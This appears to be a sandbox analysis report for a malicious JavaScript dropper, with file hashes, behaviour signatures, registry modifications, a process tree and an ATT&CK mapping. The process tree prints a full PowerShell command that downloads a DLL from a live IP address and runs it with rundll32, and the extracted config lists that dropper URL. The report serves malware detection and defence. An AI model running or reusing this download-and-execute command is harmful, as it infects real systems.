9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330

General

Target

9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330 (1).js
Size

134KB
MD5

1f2912c0c12b316023061de20ee3cc55
SHA1

05cad925852e41a0832bc9bf3db5056990d027d4
SHA256

9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330
SHA512

226d9de84f0a3624e8b84ec3f89026299d457907faab3246694b04de40af76d927561ccbf463444e5049dd55ac2a72f4e727c6e10f4a490604c01738142c7f5b
SSDEEP

1536:BIscHpcWN6ns7eemQA1iPFmpcEo0SlWu37kxlvtqMPeHp6o:5cHDesSemV1iQWEo0SlWA7Alvtl8f

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://185.49.69.41/data/b413842a6f5f431ab839f99fe3f6d3a9

Signatures

Blocklisted process makes network request 21 IoCs

Processes:

rundll32.exe

flow	pid	process
6	1888	rundll32.exe
7	1888	rundll32.exe
8	1888	rundll32.exe
9	1888	rundll32.exe
10	1888	rundll32.exe
11	1888	rundll32.exe
12	1888	rundll32.exe
13	1888	rundll32.exe
14	1888	rundll32.exe
15	1888	rundll32.exe
16	1888	rundll32.exe
17	1888	rundll32.exe
18	1888	rundll32.exe
19	1888	rundll32.exe
20	1888	rundll32.exe
21	1888	rundll32.exe
22	1888	rundll32.exe
23	1888	rundll32.exe
24	1888	rundll32.exe
25	1888	rundll32.exe
26	1888	rundll32.exe

Downloads MZ/PE file
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1888 rundll32.exe
1888 rundll32.exe
1888 rundll32.exe
1888 rundll32.exe
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

pid	process
1888	rundll32.exe
1888	rundll32.exe
1888	rundll32.exe
1888	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2U72FOVQ.htm	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File created C:\Windows\Tasks\RtlCpl.job rundll32.exe
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2744 powershell.exe

description	ioc	process
File created	C:\Windows\Tasks\RtlCpl.job	rundll32.exe

pid	process
2744	powershell.exe

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	rundll32.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key enumerated	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe
Key queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	rundll32.exe

Modifies data under HKEY_USERS 21 IoCs

Processes:

rundll32.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a\WpadDecision = "0"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00c5000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadDecisionReason = "1"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadDecisionTime = b08d0d77d7acda01	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadNetworkName = "Network 2"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\WpadDecision = "0"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{745CDF4B-8EB7-4F01-AA1B-7FBAB3AD3F82}\d6-5b-55-e9-9b-6a	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a\WpadDecisionReason = "1"	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\d6-5b-55-e9-9b-6a\WpadDecisionTime = b08d0d77d7acda01	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exepowershell.exe

pid process

2224 powershell.exe
2744 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2224 powershell.exe
Token: SeDebugPrivilege 2744 powershell.exe

pid	process
2224	powershell.exe
2744	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2744	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

wscript.exepowershell.exepowershell.exetaskeng.exe

description	pid	process	target process
PID 1432 wrote to memory of 2224	1432	wscript.exe	powershell.exe
PID 1432 wrote to memory of 2224	1432	wscript.exe	powershell.exe
PID 1432 wrote to memory of 2224	1432	wscript.exe	powershell.exe
PID 2224 wrote to memory of 2744	2224	powershell.exe	powershell.exe
PID 2224 wrote to memory of 2744	2224	powershell.exe	powershell.exe
PID 2224 wrote to memory of 2744	2224	powershell.exe	powershell.exe
PID 2744 wrote to memory of 2628	2744	powershell.exe	rundll32.exe
PID 2744 wrote to memory of 2628	2744	powershell.exe	rundll32.exe
PID 2744 wrote to memory of 2628	2744	powershell.exe	rundll32.exe
PID 1836 wrote to memory of 1888	1836	taskeng.exe	rundll32.exe
PID 1836 wrote to memory of 1888	1836	taskeng.exe	rundll32.exe
PID 1836 wrote to memory of 1888	1836	taskeng.exe	rundll32.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\9e182abd97e46d2788e637b1969deede1821bc08ece40d731ec1051be0b32330 (1).js"
1⤵
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c "start-job { param($a) Import-Module BitsTransfer; $d = $env:temp + '\' + [System.IO.Path]::GetRandomFileName(); Start-BitsTransfer -Source 'http://185.49.69.41/data/b413842a6f5f431ab839f99fe3f6d3a9' -Destination $d; if (![System.IO.File]::Exists($d)) {exit}; $p = $d + ',Start'; rundll32.exe $p; Start-Sleep -Seconds 10} -Argument 0 | wait-job | Receive-Job"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2224

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2744

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\vnbqsz3w.xaa,Start
4⤵
- Drops file in Windows directory
PID:2628

C:\Windows\system32\taskeng.exe
taskeng.exe {FE56A16F-4024-4C49-96B9-D4201DF5FD79} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Suspicious use of WriteProcessMemory
PID:1836

C:\Windows\system32\rundll32.exe
C:\Windows\system32\rundll32.exe "C:\ProgramData\RtlCpl\RtlCpl.dll",Start /p
2⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:1888

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\ProgramData\RtlCpl\RtlCpl.dll
Filesize
59KB

MD5
59fcd8a54f43d911fc7a8945e07b0246

SHA1
759fcbf9f7a7d2ec42f938e0c69acfc07c682a97

SHA256
1bcfed8b593a8a7c8b34e074aca3d4fc68a0ea3343b32eae89fdabf35ad40e7d

SHA512
6d67da2334a4e2e4f4c615d8661a5df2be3fc5467f5636760c15322c3abe5cfe1df339b29dfa008362f6e34b8afad44aef6858eb8aa1cae9c2b0dc7cc2ba7332

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
2280203d45774540d3d0b00868c387b7

SHA1
0e2610ccaa52103851c31d8205e4162df3004f76

SHA256
653ba5372954ff068bbefa16ce51b61443f2da495e43cbb3b6fc057867e50d44

SHA512
45f6f3d92240105ab14bdcd0ff0f76be5b72034986c830a2861624d6e7c471e4dc68d9475758c9917cb802dcea4de457d0da96455f93c6f79ea1692c299cc68c

Download Submit
memory/1888-31-0x000007FEFAB70000-0x000007FEFAB87000-memory.dmp

Filesize
92KB

Download
memory/1888-28-0x000007FEFAB70000-0x000007FEFAB87000-memory.dmp

Filesize
92KB

Download
memory/2224-8-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-9-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-10-0x0000000002AF0000-0x0000000002B22000-memory.dmp

Filesize
200KB

Download
memory/2224-11-0x0000000002AF0000-0x0000000002B22000-memory.dmp

Filesize
200KB

Download
memory/2224-4-0x000007FEF556E000-0x000007FEF556F000-memory.dmp

Filesize
4KB

Download
memory/2224-19-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-7-0x000007FEF52B0000-0x000007FEF5C4D000-memory.dmp

Filesize
9.6MB

Download
memory/2224-6-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2224-5-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2628-20-0x000007FEFABC0000-0x000007FEFABD7000-memory.dmp

Filesize
92KB

Download
memory/2744-17-0x0000000002AE0000-0x0000000002B02000-memory.dmp

Filesize
136KB

Download
memory/2744-18-0x00000000029E0000-0x00000000029F2000-memory.dmp

Filesize
72KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads